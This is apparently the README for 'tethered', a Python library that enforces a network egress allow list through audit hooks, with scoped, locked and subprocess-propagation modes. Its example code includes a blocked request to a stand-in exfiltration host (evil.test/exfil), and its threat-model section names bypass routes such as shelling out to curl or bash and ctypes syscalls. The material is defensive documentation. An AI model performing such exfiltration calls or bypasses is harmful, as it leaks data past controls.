tethered — Runtime network egress control for Python
One function call. Zero dependencies. No infrastructure changes.
tethered is a lightweight, in-process policy check that hooks into Python's own socket layer to enforce your allow list before any packet leaves the machine. Use activate() to set a process-wide ceiling, and scope() to tighten individual code paths — request handlers, background jobs, library calls, AI-generated code. Everything runs locally within your process — works with requests, httpx, aiohttp, Django, Flask, FastAPI, and any library built on Python sockets.
import tethered
tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"])
import urllib.request
urllib.request.urlopen("https://api.stripe.com/v1/charges") # works — matches *.stripe.com:443
urllib.request.urlopen("https://evil.test/exfil") # raises tethered.EgressBlocked
Why tethered?
Your code, your dependencies, and AI coding agents all share the same Python process — and any of them can make network calls you didn't intend. A compromised dependency phones home. An AI coding agent writes tests that accidentally call live APIs. An AI-generated function calls an unauthorized endpoint. A misconfigured library hits production instead of staging.
Python has no built-in way to prevent this at runtime. Infrastructure-level controls (firewalls, network policies, proxies) require platform teams, separate services, or admin privileges. None of them give you a single line of Python that says "this process may only talk to these hosts."
tethered fills this gap at the application layer. One function call controls what any code in the process — yours, your dependencies', or AI-generated — can reach over the network. No proxies, no sidecars, no admin privileges. It's complementary to infrastructure controls, not a replacement.
Use cases
| Use case | How tethered helps | |
|---|---|---|
| 🔒 | Supply chain defense | activate() locks the process to your known services — a compromised dependency can't phone home. |
| 🔬 | Scoped isolation | scope() restricts a specific code path — a request handler, a background job, a library call — to only the destinations it needs. |
| 🤖 | AI agent guardrails | Code generated by AI coding agents can't reach unauthorized endpoints — activate() enforces your allow list on any code running in the process. |
| 🧪 | Test isolation | activate() in your test setup ensures the suite never accidentally hits production services. |
| 📋 | Least-privilege networking | Combine activate() for the process boundary with scope() for per-function restrictions — declare your network surface like you declare your dependencies. |
Install
uv add tethered
Or with pip:
pip install tethered
Requires Python 3.10+. Zero runtime dependencies. Pre-built wheels are available for Linux, macOS, and Windows. Source installs require a C compiler (the package includes a C extension for tamper-resistant locked mode).
Quick start
tethered has two complementary APIs. Both use the same allow list syntax (see below).
Enforce process-wide — activate()
Call activate() as early as possible — before any library makes network connections:
# manage.py, wsgi.py, main.py, or your entrypoint
import tethered
tethered.activate(allow=["*.stripe.com:443", "db.internal:5432"])
# Then import and run your app
from myapp import create_app
app = create_app()
This pattern works the same for Django, Flask, FastAPI, scripts, and AI-assisted workflows — activate tethered before your application and its dependencies start making connections. Existing connections (e.g., connection pools) established before activate() continue to work — tethered intercepts at connect time, not at read/write time.
Use locked=True in production to prevent any code from replacing or disabling your policy. Full parameter list and locked-mode details: docs/API.md.
Restrict a code path — scope()
Use scope() to restrict egress for a specific code path — a request handler, a background job, a library call:
import tethered
import httpx
@tethered.scope(allow=["*.stripe.com:443"])
def charge(amount: int, token: str) -> dict:
# ... validate input, call helper libraries, log analytics —
# none of them can reach anything except *.stripe.com:443
resp = httpx.post("https://api.stripe.com/v1/charges", ...)
return resp.json()
Also usable as a context manager (with tethered.scope(allow=[...]):). No deactivate() needed — cleanup is automatic. Works with sync and async functions.
scope() works on its own — no activate() required. When the app also called activate(), the effective policy is the intersection — a connection must be allowed by both. Scopes can only narrow, never widen. Full details: docs/API.md.
Package maintainers: Use
scope(), neveractivate(). Your library doesn't own the process — the app does. Passhint=to attach a one-line egress contract (what hosts your library needs + docs link) to your scope; if a block ever fires — yours or the host's — the hint is readable asexc.scope_hintand appended to the exception message. See docs/COOKBOOK.md.
Subprocess control
Python child processes (multiprocessing.Pool, ProcessPoolExecutor, gunicorn workers, plain subprocess.run([sys.executable, ...])) automatically inherit the parent's tethered policy — including any active scope. Non-Python launches (curl, ffmpeg, different Python interpreters, or sys.executable with -S which disables site.py) are governed by external_subprocess_policy ("warn" default, or "block").
import tethered, subprocess, sys
tethered.activate(allow=["*.stripe.com:443"])
subprocess.run([sys.executable, "-c", "..."]) # child auto-inherits policy
with tethered.scope(allow=["api.stripe.com:443"]):
subprocess.run([sys.executable, "-c", "..."]) # child also inherits the active scope
Full mechanics, locked-mode hardening, and the auto-vs-external rules: docs/SUBPROCESS.md.
Allow list syntax
| Pattern | Example | Matches |
|---|---|---|
| Exact hostname | "api.stripe.com" |
api.stripe.com only |
| Wildcard subdomain | "*.stripe.com" |
api.stripe.com, dashboard.stripe.com (not stripe.com) |
| Hostname + port | "api.stripe.com:443" |
api.stripe.com on port 443 only |
| IPv4 address | "198.51.100.1" |
That IP only |
| IPv4 CIDR range | "10.0.0.0/8" |
Any IP in 10.x.x.x |
| CIDR + port | "10.0.0.0/8:5432" |
Any IP in 10.x.x.x on port 5432 |
| IPv6 address | "2001:db8::1" or "[2001:db8::1]" |
That IPv6 address |
| IPv6 + port | "[2001:db8::1]:443" |
That IPv6 address on port 443 only |
| IPv6 CIDR | "[2001:db8::]/32" |
Any IP in that IPv6 prefix |
Wildcard matching: Uses Python's fnmatch syntax. * matches any characters including dots, so *.stripe.com matches both api.stripe.com and a.b.stripe.com. This differs from TLS certificate wildcards. The characters ? (single character) and [seq] (character set) are also supported.
Localhost (127.0.0.0/8, ::1) is always allowed by default. The addresses 0.0.0.0 and :: (INADDR_ANY) are also treated as localhost. Malformed hostnames containing whitespace, control characters, or invisible Unicode are rejected and never matched by wildcard rules.
Examples
| Example | Description |
|---|---|
| 01_basic_activate.py | Process-wide allow list with activate() |
| 02_scope_context_manager.py | scope() as a context manager |
| 03_scope_decorator.py | scope() as a function decorator |
| 04_global_with_scope.py | Global policy + scope — intersection semantics |
| 05_global_with_nested_scopes.py | Global policy + nested scopes — progressive restriction |
| 06_locked_mode.py | locked=True — prevent policy tampering |
| 07_log_only.py | Monitor-only mode with on_blocked callback |
| 08_scope_in_threads.py | Scoping inside thread pool workers |
| 09_async_scope.py | Async decorator and context manager |
| 10_package_maintainer.py | Library self-restricting with scope() |
| 11_subprocess_control.py | Auto-propagation to Python child processes + parent-side external_subprocess_policy |
| 12_scope_subprocess.py | Scope propagating to spawn-mode child processes |
Hardened configuration
For threat models that include compromised dependencies — a maintainer's PyPI account hijacked, a malicious release pushed, the malware exfils local secrets to an attacker C&C — combine tethered's strictest settings:
import tethered
_LOCK = object()
tethered.activate(
allow=["api.stripe.com:443", "db.internal:5432"], # only what you actually need
locked=True, # tamper-resistant policy (C-guardian-protected)
lock_token=_LOCK, # required when locked=True
external_subprocess_policy="block", # if your app doesn't shell out
)
# Only NOW import third-party code — including potentially compromised deps
import stripe
This combination:
- Auto-propagates the policy to every Python child (multiprocessing workers,
subprocess.run,asyncio.create_subprocess_exec) — a multi-stage exfil chain (Layer 0 → spawn → Layer 1 → ...) cannot escape by launching a fresh interpreter. - Refuses non-Python launches (
curl,wget,bash) — closes the "shell out to a binary that does the egress" bypass. - Refuses tampering with the propagation channel — in-process code cannot strip
_TETHERED_CHILD_POLICY, deletetethered.pth, or replace the policy with a permissive one without raisingSubprocessBlocked.
Activate before importing any third-party code — anything that runs in the unprotected window (e.g., during a malicious package's __init__.py) is unprotected. tethered does not protect against ctypes / cffi raw syscalls; pair with OS-level controls (seccomp, containers, network namespaces) for hard isolation.
Defense-in-depth
tethered is a guardrail at the Python audit-event layer, not a sandbox. Code that uses
ctypes,cffi, subprocesses, or C extensions with direct syscalls can bypass it. For hardened environments combine with OS-level controls (containers, seccomp, network namespaces). See SECURITY.md for the full threat model.
Performance
The audit hook runs on every relevant socket event, but per-event cost is small — TCP handshake, TLS, and application logic dominate real-world connect time. The hook fires whenever tethered is engaged, whether you entered via activate() or scope(), so the per-call overheads below apply to both. Measured on CPython 3.13 / localhost / default benchmark settings (3,000 TCP-connect iterations × median-of-3, 5,000 per-event iterations):
| Operation | Overhead added |
|---|---|
socket.connect |
~25 µs |
socket.getaddrinfo |
~120 µs (~2×) — tethered re-resolves to populate the IP→hostname cache |
| Any non-network audit event | ~150 ns (ambient tax) |
with tethered.scope(...) enter + exit |
~0.5 µs (context-manager cost, independent of activate()) |
Numbers vary by hardware, OS, and Python version. Reproduce with python benchmarks/overhead.py.
Documentation
- docs/API.md — full API reference (
activate,scope,deactivate, exceptions, locked mode, log-only) - docs/SUBPROCESS.md — subprocess auto-propagation, scope propagation,
external_subprocess_policy - docs/ARCHITECTURE.md — how the audit hook works, scope mechanics, C guardian
- docs/COOKBOOK.md — handling blocked connections in Django, Celery, retry decorators
- SECURITY.md — threat model, what tethered does and does not protect against
- examples/ — runnable scripts for every feature
Badge
Using tethered in your project? Add the badge to your README:
[](https://github.com/shcherbak-ai/tethered)
Contributing
See CONTRIBUTING.md for development setup and guidelines.
Security
See SECURITY.md for reporting vulnerabilities and the full threat model.
License
MIT
1 maintainer
Metadata
1 maintainer
Release files for tethered 0.5.3
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